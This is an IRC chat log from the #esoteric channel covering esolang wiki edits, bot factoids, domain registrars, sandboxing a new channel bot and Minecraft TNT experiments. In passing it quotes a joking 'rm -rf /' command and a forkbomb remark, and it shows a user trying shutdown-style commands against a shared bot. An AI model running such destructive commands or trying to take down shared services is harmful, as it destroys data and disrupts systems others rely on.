c++ C++ cat esolang esolangs #esoteric fs hth mapole `mislearn mycology ntitai random number tdnh the meaning of life tomfoolery wiki wisdom 15:27:34 `tomfoolery wisdom 15:27:36 wisdom is tomfoolery 15:27:43 `tomfoolery c++ 15:27:45 C++ is an attempt to improve upon C. The only thing it actually improved was memory management, and it made everything else worse. 15:27:52 `tomfoolery C++ 15:27:53 C++ is an attempt to improve upon C. The only thing it actually improved was memory management, and it made everything else worse. 15:28:12 `? * 15:28:15 Twinkle, twinkle, little star! 15:28:23 generally i kinda agree there, not everything tho, classes were a huge improvement 15:28:27 heh, it survived 15:28:39 now I wonder what you are 15:28:44 up above the channel so high 15:28:49 like an asterisk in the sky 15:29:02 i saw that coming 15:29:08 twinkle twinkle little star 15:29:21 *i forgot the last few lines )=* 15:33:47 -!- Akaibu has quit. 16:00:53 -!- AnotherTest has joined. 16:04:36 -!- nycs has joined. 16:05:35 -!- `^_^v has quit (Ping timeout: 260 seconds). 16:20:37 -!- nycs has quit (Quit: This computer has gone to sleep). 16:22:42 -!- I has joined. 16:23:00 -!- I has changed nick to Guest19103. 16:31:14 -!- oerjan has quit (Quit: Later). 16:34:37 -!- Guest19103 has quit (Quit: This computer has gone to sleep). 16:35:45 -!- augur has joined. 16:36:32 -!- nycs has joined. 17:01:03 -!- hwpplayer1 has joined. 17:02:06 -!- Koen__ has quit (Remote host closed the connection). 17:05:44 -!- jaboja has joined. 17:15:36 -!- moon_ has quit (Ping timeout: 250 seconds). 17:15:46 -!- Koen_ has joined. 17:20:26 -!- Koen_ has quit (Ping timeout: 250 seconds). 17:33:26 -!- Kaynato has joined. 17:34:21 Hmm 17:34:26 If I'm to follow my dream 17:34:46 I need to start thinking about applying for postgraduatey things 17:40:39 -!- atrapado has quit (Ping timeout: 264 seconds). 17:42:51 -!- hwpplayer1 has quit (Remote host closed the connection). 17:43:50 -!- atrapado has joined. 17:47:18 -!- AnotherTest has quit (Ping timeout: 250 seconds). 17:54:51 -!- spiette has joined. 17:56:24 -!- sebbu has quit (Ping timeout: 250 seconds). 17:56:54 -!- bender has quit (Ping timeout: 258 seconds). 18:12:06 -!- jaboja has quit (Read error: No route to host). 18:14:08 `smlist 443 18:14:17 smlist 443: shachaf monqy elliott mnoqy 18:19:24 `? smlist 18:19:29 Non-update notification for the webcomic Super Mega. 18:23:57 -!- moon_ has joined. 18:27:32 Taneb: If I'm to follow my dream, I'll need to go around a big house with empty rooms and fill up a garbage bag somehow. 18:34:59 what for shachaf? 18:37:52 `yes shachaf | head 18:37:54 shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | 18:37:58 moon_: Stop it. 18:38:05 im askin a question 18:38:07 Just don't talk to me. 18:38:11 ok 18:46:22 -!- Alcest has quit (Ping timeout: 250 seconds). 18:55:29 shachaf: can you, say, blow up the garbage bag? (in a nonexplosive fashion) 18:55:56 Look, this dream was several years ago. I don't remember the details. 18:56:47 fair enough 18:56:53 I didn't have context anyway. 18:56:58 (as usual) 18:59:15 -!- sebbu has joined. 19:02:33 -!- jaboja has joined. 19:03:30 The context was what Taneb said a few lines ago. 19:07:26 shachaf: Relevant for what? There is a change, yes. 19:08:14 fizzie: I didn't realize at firs tthat the email had an English section. 19:08:32 Oh, okay. 19:08:47 I haven't yet decided what to do with zem.fi. 19:09:10 -!- moon_ has quit (Quit: Page closed). 19:09:53 Why do you need to do something? 19:10:02 You didn't go through a registrar? 19:10:22 Anyway it sounds like .fi domains will be open to everyone in Sep? 19:10:31 -!- gniourf has joined. 19:11:03 if.bash.then.fi 19:11:42 Yes. And I went through the government, that was the only way you could go through when I got the domain. 19:11:55 if.algol.fi 19:12:17 (So now I need to locate a company that's not stupid.) 19:12:37 A company that's not stupid? 19:14:22 Yes, to do the registrar thing. 19:15:08 "The registrar is often the one that has provided you • internet access • home page • or email address." 19:15:11 hth 19:15:13 -!- idris-bot has quit (Quit: Terminated). 19:15:38 -!- Melvar has quit (Quit: thunderstorm). 19:15:44 -!- xkapastel has joined. 19:16:10 Well, I don't think our UK ISP or DigitalOcean does .fi domains. 19:16:59 I use gandi.net for my .fi domain. 19:17:07 I don't know whether they can do the registrar thing. 19:19:02 The government place had a huge list, but I know nothing about any of them. 19:19:20 I see the huge list. 19:20:31 I looked at the websites of couple of them at random, and couldn't find out at all whether they'd be willing to sell me the domain registration only, without any other services. 19:21:15 DNSSEC? more like DNSSCOW 19:27:06 -!- spiette has quit (Ping timeout: 250 seconds). 19:28:34 -!- Melvar has joined. 19:32:46 -!- atrapado has quit (Quit: Leaving). 19:33:07 -!- idris-bot has joined. 19:41:26 -!- atrapado has joined. 19:44:20 -!- PinealGlandOptic has quit (Ping timeout: 260 seconds). 19:46:10 -!- moon_ has joined. 20:04:45 -!- Sgeo has quit (Ping timeout: 246 seconds). 20:07:21 -!- atrapado has quit (Read error: Connection reset by peer). 20:07:47 -!- atrapado has joined. 20:37:13 someone discovered something that jammes havocbot and requires admin assistance: the allmighty vi 20:37:25 -!- spiette has joined. 20:39:30 -!- jaboja has quit (Read error: No route to host). 20:43:46 -!- eclipse has joined. 20:43:53 what is this madness moon_ 20:44:05 oh hi 21:02:29 -!- `^_^ has joined. 21:02:58 -!- Koen_ has joined. 21:04:03 -!- nycs has quit (Ping timeout: 264 seconds). 21:08:24 -!- Koen_ has quit (Ping timeout: 276 seconds). 21:08:30 people ave diescted hbot and started playing with its output stream 21:21:40 "Vi"? 21:21:59 -!- eclipse has left ("Leaving"). 21:23:27 the vi utility 21:23:34 it freezes up hbot for some reason 21:35:52 -!- xkapastel has quit (Quit: Connection closed for inactivity). 21:39:56 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 21:47:05 this is bound to start up text editor flamewars 21:47:11 keep it a secret 21:47:17 except to important people 21:48:31 also 21:48:35 -!- `^_^ has quit (Quit: This computer has gone to sleep). 21:48:39 hbot is being moved to archlinux 21:48:58 using a more secure and better bot 21:52:11 I think I'm supposed to say "yay" here because I use archlinux, but I think I'll have to defer to someone else on that since I'm busy 21:52:18 -!- `^_^ has joined. 21:52:58 sorry for any inconvenience caused, etc... ok, nvm, YAAAAAAAAAAAYYYYYYYYYYYY!!!! 21:54:20 -!- AnotherTest has joined. 21:55:25 also 21:55:31 hbot will gain network filters 21:55:42 *if i can write them* 21:55:48 but hey 21:55:54 the new hbot will have cc 21:55:56 *gcc 21:56:04 gcc? ooo 21:56:26 so can I compile ye-olde-forkbomb.c? 21:56:40 nice try 21:57:49 or ye-olde-endless-loop.c 21:57:50 -!- spockers has joined. 21:59:43 -!- J_Arcane_ has joined. 22:00:21 ill see about a timer 22:01:10 -!- J_Arcane has quit (Ping timeout: 244 seconds). 22:01:21 -!- Kaynato has quit (Ping timeout: 240 seconds). 22:01:23 -!- J_Arcane_ has changed nick to J_Arcane. 22:02:00 -!- gamemanj has quit (Ping timeout: 246 seconds). 22:10:45 -!- AnotherTest has quit (Ping timeout: 260 seconds). 22:12:55 -!- augur_ has joined. 22:15:05 -!- augur has quit (Ping timeout: 250 seconds). 22:17:34 -!- atrapado has quit (Quit: Leaving). 22:21:30 -!- Koen_ has joined. 22:34:25 -!- augur_ has quit (Remote host closed the connection). 22:37:17 -!- Lord_of_Life has quit (Excess Flood). 22:40:11 im lonely 22:40:40 -!- Lord_of_Life has joined. 22:42:00 -!- `^_^ has quit (Quit: This computer has gone to sleep). 22:42:09 im very lonely 22:51:24 http://www.valvesoftware.com/jobs/job_postings.html 22:51:29 "As a Valve Anti-Cheat engineer, you will use your reverse engineering, debugging, and programming skills to bring down cheaters throughout the Steam community. Your familiarity with executable file formats, dynamic link libraries, and process management will help us unravel webs of online cheaters." 22:51:37 WEBS 22:58:14 lol 23:05:56 [wiki] [[Nix]] N https://esolangs.org/w/index.php?oldid=47205 * 216.188.250.122 * (+5707) Created page with "''Nix'' is a one-dimension [[Esoteric_programming_language|esoteric language]] created by Quiqucode. It operates on a single top-access stack that can be manipulated via certa..." 23:13:32 not to be confused with bottom-access stacks 23:25:16 [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47206&oldid=47205 * 216.188.250.122 * (+14) /* Methods */ 23:27:57 [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47207&oldid=47206 * 216.188.250.122 * (+1) /* Syntax */ 23:30:30 [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47208&oldid=47207 * 216.188.250.122 * (+4) 23:30:50 http://colinm.org/language_checklist.html 23:31:01 [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47209&oldid=47208 * 216.188.250.122 * (-9) 23:33:42 -!- augur has joined. 23:35:03 -!- MoALTz has joined. 23:35:25 [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47210&oldid=47209 * 216.188.250.122 * (-1) 23:36:33 [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47211&oldid=47210 * 216.188.250.122 * (-80) /* External resources */ 23:52:49 b...but there already is an esolang called nix... https://nixos.org/nix/ 2016-06-15: 00:02:54 -!- oerjan has joined. 00:05:31 helloerjan 00:05:37 Calello 00:05:59 not much you can do to prevent simple names from being duplicated 00:06:13 see the two different languages called "Clue" already on the wiki 00:06:22 quhintopia 00:07:02 it happens surprisingly rarely 00:07:57 i've dissuaded someone from naming a language "Grasp" at least once, despite the fact that the barely-extant language of that name isn't even on the wiki... 00:08:48 Taneb: If I'm to follow my dream, I'll need to go around a big house with empty rooms and fill up a garbage bag somehow. <-- i'd prefer not to follow my most recent dream, as it was happening in a totalitarian state with strict thought control tdnh 00:09:04 oerjan: but were you the overlord? 00:09:06 (although there were some rebels.) 00:09:08 shachaf: nope 00:09:26 -!- boily has joined. 00:09:52 -!- moon_ has quit (Ping timeout: 250 seconds). 00:10:26 chàoily anh! 00:11:16 bon soily 00:15:00 how goes the fraternal seige? 00:15:03 *siege 00:16:28 børjaintoirpia! 00:17:15 he's attending panels and posters and cocktails with hairy and optical people. 00:17:54 . o O ( a clash of dental and optical people ) 00:18:47 lol 00:19:04 As long as they Mentals are out… 00:20:02 -!- bender has joined. 00:20:12 . o O ( nairy and dental ) 00:20:43 * oerjan realizes for the first time that Nair is a portmanteau 00:20:56 I believe there's a strong correlation between hair length and mathematical skills. 00:21:02 well, possibly the first time. 00:21:05 Nair: No Hair? 00:21:12 yeah 00:22:36 it may be strong, but it's not essential. look at terry tao. 00:23:38 hair length integer overflow. 00:23:50 thausible. 00:26:03 oerjan: what is "thausible" twh 00:26:22 `culprits wisdom/thausiblee 00:26:34 also, look at alexander grothendieck. 00:26:41 oerjan elliott boily 00:26:53 (the first google images hit on "bald mathematician") 00:27:23 counter-establishment anarcho-mathematician hth 00:27:41 wait, second 00:36:25 boily: is he a grad student? 00:45:26 is this spam? https://worldbuilding.stackexchange.com/questions/44459/why-do-people-create-fictional-languages 00:49:50 which answer? 00:49:55 the question 00:52:58 nah 00:53:23 the link is a footnote, an interesting aside 00:53:31 advertising it doesn't seem to be the main point 00:53:56 and the item in question has gotten a lot of press lately, so it's not surprising for it to appear here 00:56:18 how well does that thing work? 00:56:42 is "spastic fit" the correct way to translate "seizure" into Victorian English? 00:58:30 exactly how you'd expect: record speech, convert to text, send to app, parse and translate, TTS, send back to ear piece. 00:58:54 the trick is that all the translation is done within the app rather than in the cloud, so no internet connection needed. 01:00:15 no i mean 01:00:17 does it work well? 01:01:16 quintopia: the bro is a grad student. he's doing his masters atm hth 01:01:17 google translate is okish for short sentences 01:04:21 i misread the sentence 01:04:32 no one knows how well it works, as it hasn't been sold yet 01:06:08 -!- Elronnd has changed nick to Elronnd\StD. 01:10:38 boily: and you? you are alone and desperate for attention? :P 01:13:51 -!- Elronnd\StD has changed nick to Elronnd. 01:14:21 quintopia: in a permanent state of despair and existential anguish. 01:16:40 would vidya games help? :P 01:19:43 they could, but I'm eating tortellinis >_>'... 01:21:19 -!- moon_ has joined. 01:22:55 -!- boily has quit (Quit: KNUCKLED CHICKEN). 01:27:02 if Negro was considered taboo in the 1860s, what was considered acceptable? 01:29:21 oh, right, colored 01:31:02 https://nixos.org/nix/ 01:31:13 _18_60s? 01:31:38 i think negro was considered excessively polite 01:33:07 ...how did i paste that link. 01:33:17 lol 01:33:22 from earlier 01:33:24 if i remember 01:33:29 i know where i got it from. 01:33:38 the question is wtf did i paste it. 01:33:42 stupid keyboard. 01:33:49 also fingers. 01:34:09 and we'll just skip over the damn brain. 01:34:10 shhhhh dont be mean to them, the can dissappear at will! 01:34:27 we dont want a world without keyboards :P 01:34:47 world without fingers is many times worse 01:35:13 we'll just use mecha claws hth 01:35:30 how would we make em? No fingers 01:35:47 have you seen what those toe painters can do 01:35:55 shouldn't be a problem. 01:36:14 har har har 01:36:30 wouldn't we need mecha lawyers first 01:36:30 we cant assemble mecha claws without delicate presicion 01:36:38 ^ 01:36:41 * oerjan wonders how long it would take dolphins to develop suitable gripping tools if they put their mind to it 01:36:54 also 01:36:57 in around 3-5 minutes 01:37:18 hbot will be running on a minimal debian installation (base utilitys only) 01:37:26 (with gcc, i hope) 01:37:33 (if not, dpkg power) 01:37:58 moon_: i shall misquote a certain dwarf from somewhere: "with just stones and sticks he could build tools. with those tools he could build other tools. with those tools he could build anything." 01:37:58 Also 01:38:01 no superusers 01:38:16 (i think it may have been discworld?) 01:38:21 maybe 01:38:43 i just poped off a key from my keyboard 01:38:44 Ewww 01:39:10 warning: do not hold my crumb filled keyboard above your head 01:39:29 with keys removed 01:40:24 i think the crumbs in my keyboard have shifted again, it's been a while since i noticed the left arrow key missing presses 01:40:48 lol 01:40:55 also 01:41:05 its possible to se my most used keys 01:41:27 -!- Phantom__Hoover has joined. 01:41:28 'wasdetvcuio' in decending order 01:41:35 (ironically, it started going bad just _after_ it been at service with a full internal cleaning) 01:41:42 *it had 01:42:09 wasd huh 01:42:22 i play video games 01:42:27 i used to play them all the time 01:42:31 * oerjan doesn't play that many games. mostly tatham's puzzles, which don't use wasd. 01:42:33 until i discovered #esoteric 01:43:00 oh god 01:43:13 how ta fuck did eyelashes get under the numpad 0? 01:43:25 you inspected too closely? 01:43:32 mhm O.o 01:43:46 also 01:43:50 grime 01:43:59 keyboards are disgusting 01:44:04 wait 01:44:12 i just quoted XKCD 01:44:18 on accident 01:44:44 -!- moon_ has quit (Quit: Page closed). 01:45:01 -!- augur has quit (Remote host closed the connection). 01:45:04 -!- Phantom_Hoover has quit (Ping timeout: 272 seconds). 01:45:09 https://xkcd.com/237/ for those following along from home. 01:45:19 -!- moon_ has joined. 01:45:32 https://xkcd.com/237/ for those following along from home. 01:45:34 the grim on my keyboard is like gum o.o 01:45:52 i don't think my keyboard is _that_ grimy. 01:46:01 it wont come off 01:46:18 you probably need some kind of solvent. 01:46:27 i agree 01:46:36 im going to scrub this thing to death tommorow >_> 01:47:07 just don't make that literal 01:47:17 kk 01:47:28 oerjan: in the U.S. of that time "Negro" had been too long associated with "slave" to be considered polite. It wasn't until the early 20th that it came back into polite usage. 01:48:09 uuuuuuuuuuuuuuuuuuuuuuuuuuujhij8ijnuijijhjhj8jjj8ji8ujjhjhujjjuuj8uijjjjjhjhyhyhjyhyhhyyyyyyyyyyyyyyyyyyyyyyyyyyhmikkj9jkiuyhhghguhuhuhuhuhhhgygyghghgyhhhhhyhyuhhy7yh77y7tt7h7y77t7ttb7 01:48:10 quintopia: so you were _not_ mistyping 1960s? 01:48:10 sorry 01:48:13 trying to scrub 01:48:24 oerjan: no 01:48:32 moon_: i try to avoid doing such things with windows in focus hth 01:48:44 (not always successfully) 01:49:47 . o O ( does wikipedia have a chart of the historical development of that euphemism treadmill ) 01:51:15 havocbot will be put online via debian in just a few minutes 01:51:20 complete with GCC 01:52:32 tip: never run apt list directly 01:54:31 "Etymologically, the eupheme is the opposite of the blaspheme "evil-speaking." The term euphemism itself was used as a euphemism by the ancient Greeks, meaning "to keep a holy silence" (speaking well by not speaking at all)." 01:56:53 "euphemism" sounds like it would have more of an itymology 01:57:02 or maybe iykwimology 01:57:07 -!- augur has joined. 01:57:29 oerjan: frying pan needed in aisle 4 01:58:12 quintopia: i cannot, itymology is an official term hth 01:58:15 i got the root password done wrong, i didnt type the right one 01:58:33 moon_: "hunter2" hth 01:59:31 oerjan: But did I ever get swatted for it before it was official? 01:59:39 Assuming it was my term. I can't remember. 01:59:50 `1 hg log wisdom/itymology 02:00:39 No output. 02:00:41 `1 hg log wisdom/itymology 02:00:44 HackEgo: tdnh 02:00:52 1/1:changeset: 7632:d34b4bb2e28f \ user: HackBot \ date: Sat Apr 30 04:26:19 2016 +0000000 \ summary: learn Itymology is the science of understanding the true meaning of a statement. \ \ 02:01:30 locked out >_> 02:01:46 what file should i edit using the recovery shell? 02:01:52 to reset the root password? 02:02:09 does /etc/passwd work these days 02:02:17 Yes, it was me. 02:03:21 and what does etc/passwd usually contain (like a example) 02:03:46 * oerjan is just wildly guessing. certainly it doesn't contain passwords these days. 02:03:57 in fact it's world readable on this server. 02:04:13 well 02:04:15 lets try this 02:04:29 it worked 02:05:32 ok 02:05:38 NOW havocbot will be up in a few minutes 02:05:46 and no root privs >_> 02:06:18 adding gcc... 02:06:28 any requests for installed software? :P 02:06:37 im planning on GHC by the way 02:07:49 oerjan? any requests? 02:09:43 i'm not planning to use it so... 02:11:00 ybden: any requests for software on havocbot 2.0? :P 02:16:31 can i have a list of commands that can be used to shut down linux? 02:18:08 `shutdown 02:18:09 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: shutdown: not found 02:18:12 `quit 02:18:14 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: quit: not found 02:18:14 `exit 02:18:15 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: exit: not found 02:18:22 `logout 02:18:23 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: logout: not found 02:18:26 .-. 02:18:28 )= 02:18:30 i wished 02:18:32 i failed 02:19:17 i'd assume none are supposed to do that without superuser privileges 02:19:37 oh 02:19:45 well 02:20:02 how can i prevent the bot from running those on my debian virtual machine? 02:20:30 and also, that with superuser privileges you can pretty much bootstrap whatever power you want 02:20:55 also, the bot has no superuser privs 02:21:02 just but creating a raw binary file 02:21:02 the new version at least 02:21:05 good 02:21:24 then it all depends on bug exploits. 02:22:17 which get discovered and fixed all the time. 02:22:47 * oerjan has no idea _how_ frequently. 02:23:25 this is the latest debian version 02:23:38 -!- Kaynato has joined. 02:23:40 should be safer than some of our other bots, then. 02:23:45 also 02:23:52 i discovered the fakeroot command 02:23:59 i guess i CAN let you all build packages 02:24:34 anyway, if you're serious about making it safer, you might want to ask an actual expert on this. 02:24:44 well a relative expert, anyway. 02:26:12 well 02:26:26 any good packages you think some people from here might want on it? 02:26:52 GHC, GCC, python-pip, and hsbrainfuck have been installed 02:27:51 all the important ones, and ghc too 02:28:04 important ones check 02:28:11 for ghc 02:28:13 already done 02:28:30 any more? i think i found a way to kill network access 02:28:48 so you *might* not be able to install packages later 02:29:16 frotz 02:29:35 yup, i did 02:30:04 might not work very well 02:30:06 but ok 02:30:30 feed me 02:31:11 -!- spiette has quit (Quit: :qa!). 02:34:15 so, no more? 02:34:53 Why not ask in #esoteric-blah, where the people who actually want to use that bot are? 02:37:22 moon_, that's now how hackego works btw 02:38:17 -!- Phantom__Hoover has quit (Read error: Connection reset by peer). 02:38:39 you could add a go engine 02:40:02 certainly 02:40:06 adding Golang 02:42:46 [21:41] im rm -rf / hbot: cat videos 02:43:00 im am certain havocbot cant cat cat videos 02:44:41 I meant go the game, not go the silly language 02:46:11 oh lol 02:46:24 well,its installed 02:46:32 but havocbot is oneline output 02:46:53 and would require state saving and program end support between each move 02:49:48 -!- Sgeo has joined. 02:50:39 hi sgeo 02:50:53 Hi moon_ and all 02:51:36 im running a linux bot named havocbot, any packages i should add to it> 02:54:27 -!- sebbu has quit (Ping timeout: 264 seconds). 03:05:21 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 03:06:29 havocbot has multiple linux bindings for you all to work with, any C/C++ librarys you all want? 03:06:42 oops wrong channel 03:28:20 -!- moon_ has quit (Ping timeout: 250 seconds). 04:13:40 -!- bender has quit (Quit: Leaving). 04:30:54 https://www.blackhat.com/ oh, there's blackhat.com, nice 04:31:01 let's see its counterpart 04:31:08 http://www.whitehat.com/ .........disappointed 04:41:03 Is there a name for the naturals with the Alexandrov topology? 04:41:37 (On the standard total order.) 04:54:10 -!- sebbu has joined. 05:01:25 -!- Kaynato has quit (Ping timeout: 260 seconds). 05:16:15 `smlist 444 05:16:34 smlist 444: shachaf monqy elliott mnoqy 05:17:08 HackEgo: thx tdh 05:23:59 `? smlist 05:24:05 Non-update notification for the webcomic Super Mega. 05:25:17 -!- trn has quit (Quit: quit). 05:35:31 -!- trn has joined. 06:01:30 -!- augur has quit (Remote host closed the connection). 06:17:50 reading one of those lists of random memorable quotes from irc channels 06:17:57 -!- copumpkin has quit (Ping timeout: 260 seconds). 06:18:29 would it be possible to train a neural network to tell if something is memorable? 06:18:42 or quoteworthy, idk 06:22:20 -!- copumpkin has joined. 06:57:06 -!- augur has joined. 06:59:14 -!- PinealGlandOptic has joined. 07:24:27 -!- Akaibu has joined. 07:24:48 -!- hppavilion[1] has joined. 07:30:27 -!- PinealGlandOptic has quit (Quit: leaving). 07:32:15 `? children 07:32:29 Children are a fungible commodity. 07:54:57 ok, looks like the _immediate_ girl genius chrisis is being defused. 07:55:32 for now. 07:56:11 *-h 08:04:00 oerjan: is that like a religious crisis 08:15:01 well it did involve something resembling a resurrection 09:11:51 -!- MoALTz has quit (Ping timeout: 276 seconds). 09:24:28 -!- oerjan has quit (Quit: Later). 09:35:51 -!- MoALTz has joined. 09:43:59 -!- augur has quit (Remote host closed the connection). 09:44:09 -!- atrapado has joined. 09:54:04 I made a little minecraft contraption for airstrikes 09:54:27 You just plant a creeper named "airstrike" and it summons a column of TNT that falls and blows the area to smithereens 09:54:48 Interestingly, when done on perfectly flat terrain with no entities, it makes a nice deep straight hole downward 09:54:58 But when there are entities at the target location, there's more scatter 09:55:59 Hm, another interesting contraption would be an "eternal bomb" 09:56:14 Which is a Primed TNT that has a fuse of n ticks 09:56:40 At exactly n ticks into its life, a copy of it is spawned at its location (with the same n tick fuse and a life starting just then) 10:03:03 Obama spend this afternoon designating the names of post offices. Really going out with a bang, isn't he? 10:16:04 -!- Moon_ has joined. 10:16:08 Hi 10:17:33 -!- atrapado has quit (Ping timeout: 240 seconds). 10:19:57 `wisdom 10:20:05 hello everyone 10:20:50 hypo//Hypo is potamus. 10:21:02 -!- AnotherTest has joined. 10:21:58 Hi b_ 10:22:22 Hint will be online tommrow 10:22:37 *hbot 10:23:02 Any debating packages you want p it b_jonas? 10:23:09 *debian 10:26:47 Also, I'm going to make some form of CD hackin 10:27:03 To allow for changing 10:29:04 Moon_: no thanks 10:29:21 I'm sorry, I didn't do much with hbot yet 10:30:28 -!- atrapado has joined. 10:32:11 Why do I care b_j ? Hint is being rebuilt right now anyways 10:32:40 Damn autocorrect 10:32:46 Hbot * 10:36:10 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 10:36:28 -!- Koen_ has joined. 10:43:05 Hmm 10:43:19 In the autumn I'll be learning evolutionary and quantum computation 10:43:24 (Separately) 10:44:11 why do you always study fun stuff?? how can I attend your university? 10:44:33 Koen_, University of York, and by applying, presumably 10:44:38 And I had to wait until my fourth year 10:44:55 fair enough 10:45:04 Where's your university? 10:45:37 what? that doesn't sounds like fun stuff to me 10:46:34 I'm also going to be doing Algebraic Geometry, Lie Algebras and Lie Groups, and Semigroup Theory 10:47:36 Taneb: ah, now those sound much better (but not easy) 10:48:15 b_jonas, these are Masters' level modules (I'm doing an integrated master's degree) 10:48:58 In the spring I'll be doing functional programming, more quantum computation, and algebraic groups 10:49:14 -!- AnotherTest has quit (Ping timeout: 250 seconds). 10:51:48 -!- hppavilion[1] has joined. 10:54:40 -!- Moon_ has quit (Ping timeout: 250 seconds). 10:59:25 Taneb: well, I live in France 11:01:02 Koen_, that could be problematic, although not an insurmountable obstacle 11:01:57 do you mean they do correspondance courses? or are you trying to seduce me to the dark side of the rosbif 11:05:38 The latter 11:09:42 heh, "dark side of the rosbif" 11:10:48 -!- Phantom_Hoover has joined. 11:11:33 well I will not be tempted!! 11:15:04 Phantom_Hoover, help me tempt Koen_ to the dark side of the rosbif 11:18:09 -!- Moon_ has joined. 11:20:46 Taneb, no 11:20:53 ill never join you 11:21:03 Hi phantom 11:23:15 Koen_, does your university do much functional programming research that you know of? 11:23:44 I'm trying to figure out my Grand List of Places To Apply For PhD 11:23:52 I know one of my teachers was involved in creating the language ReactiveML 11:24:26 a "reactive" version of ocaml 11:24:44 Hmm 11:24:50 Might be worth a shot 11:24:53 so I guess that should count as functional, though I've got no clue what reactive means (I tried reading his papers. they might as well have been written in another language) 11:24:54 I mean, I'd have to learn French 11:25:08 well, computer science researchers *usually* speak english 11:25:19 and foreign students is not unusual 11:25:43 I'm half-certain a computer science thesis has to be written in english anyway 11:26:18 though if you're required to be a t.a. that's gonna be in french 11:26:28 I'd have to learn French to survive in the country 11:26:51 the country will understand you, provided you speak slowly enough :) 11:27:02 we just don't speak english because we're so ashamed of our accent 11:27:13 I can't walk into a supermarché and say "I'm a computer scientist, so I get to speak English" 11:27:28 who said you needed to talk at all in a supermarché ? this is 2016 11:28:01 I don't think the self-service tills speak English, generally 11:28:05 Also I have my ego to think of 11:28:15 Imagine, living in a country whose language you do not speak 11:28:20 I'm sure you'll be fluent in french in three months 11:29:10 (you don't have to remember the gender of every noun. using random genders is foreigner's privilege) 11:29:46 -!- Moon_ has quit (Ping timeout: 250 seconds). 11:29:50 `? Taneb 11:29:59 `? tanebventions 11:30:05 the go program Mogo (the first one to use monte carlo tree search) was created at my university, actually :-) 11:30:10 Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and voluminous but calm eyebrows. (See also: tanebventions) 11:30:10 Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions (math). He never invents anything involving sex. 11:30:28 Koen_, if I can't remember my own gender, I'm sure I can be excused forgetting the gender of other words 11:30:44 sure 11:31:05 `? tanebventions (math) 11:31:08 Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms. 11:31:19 -!- boily has joined. 11:31:22 oerjan: I thought the order of tanebventions was significant, but I guess that's being scrapped. 11:31:33 oerjan: In which case maybe they should just go in alphabetical order. 11:31:37 -!- iaglium has joined. 11:31:47 shachaf, I think they should be in random order 11:31:51 `? tanebventions 11:31:54 Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions (math). He never invents anything involving sex. 11:31:54 `? taneb 11:31:56 Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and voluminous but calm eyebrows. (See also: tanebventions) 11:32:16 Is necessity mathematical? 11:32:27 hellochaf, Tanelle, Phantom_Helloover. 11:32:37 shachaf, not necessarily 11:32:46 bonjoily 11:32:57 afaiac, the canonical tanebventionorder is transcribed in the Wisdom PDF Chapter Opening Paragraph hth 11:33:01 Taneb: After I wrote that I realized the answer was "possibly". 11:34:06 Why did I make a 25x25x25 cube of tnt 11:34:09 And set it off? 11:34:49 hppavellon[1]. because that's what TNT is for? 11:34:59 boily: Oh, right 11:35:11 boily: I suppose I should mention that I'm not talking about minecraft 11:35:23 oh. 11:35:34 boily: Have fun with the worldwide state of emergency 11:36:07 I'm in Canada so I'm safe, but please don't destroy the Real Life too much, eh? 11:36:47 In all seriousness, it isn't nearly as laggy as I would've expected 11:37:06 boily: but if you die in Canada, you die in real life 11:37:14 -!- Akaibu has quit (Quit: Connection closed for inactivity). 11:37:23 Sure, it's laggy enough that you can understand the way the game is programed by seeing how it handles high-stress situations 11:37:41 `? histogram 11:37:41 (specifically, the TNT is detonating in rounds; the explosion noises stop every now and then, then they start back up) 11:37:43 Histograms are diagrams showing histamine levels. Taneb invented them. 11:39:06 I also have a 25x25x25 cube of *whatever* that I use for testing my airstrike device 11:39:09 Do they measure histamine levels in grams? 11:39:16 (and to a lesser degree, the carpet bomb) 11:39:55 I imagine this is probably what the london blitz felt like 11:40:51 I also took great joy in targeting an airstrike at a village church 11:41:15 (not because of my bitter hatred for religion, but because churches just make the optimal target for depth-penetrating missiles in general) 11:41:55 Wow, I think the megacube is done, and it went really far 11:42:00 Enough to damage my test cube 11:44:53 Huh, in minecraft, a bed actually produces a bigger explosion than TNT 11:46:23 only in the nether 11:46:35 Phantom_Hoover: Well yeah 11:46:42 Barriers have more blast resistance than bedrock 11:46:51 also a 25m cube of tnt would have totally crashed the game back in my day 11:47:01 -!- Koen_ has quit (Remote host closed the connection). 11:47:02 Bedrock is 18,000,000 whereas barriers are 18,000,003 11:47:07 If only we had some pitifully underused channel for talking about Minecraft 11:47:08 Why the 3 extra I have no idea 11:47:32 Taneb: You mean like... something for just the "blah" stuff about #esoteric? 11:48:03 hppavilion[1], no, specifically minecraft 11:48:09 Taneb: Oh 11:48:17 Taneb: Well I'm not a fan of the folks in #minecraft 11:48:31 But I /could/ go there 11:48:33 hppavilion[1], hence a #esoteric specific one 11:48:41 Taneb: Oh, 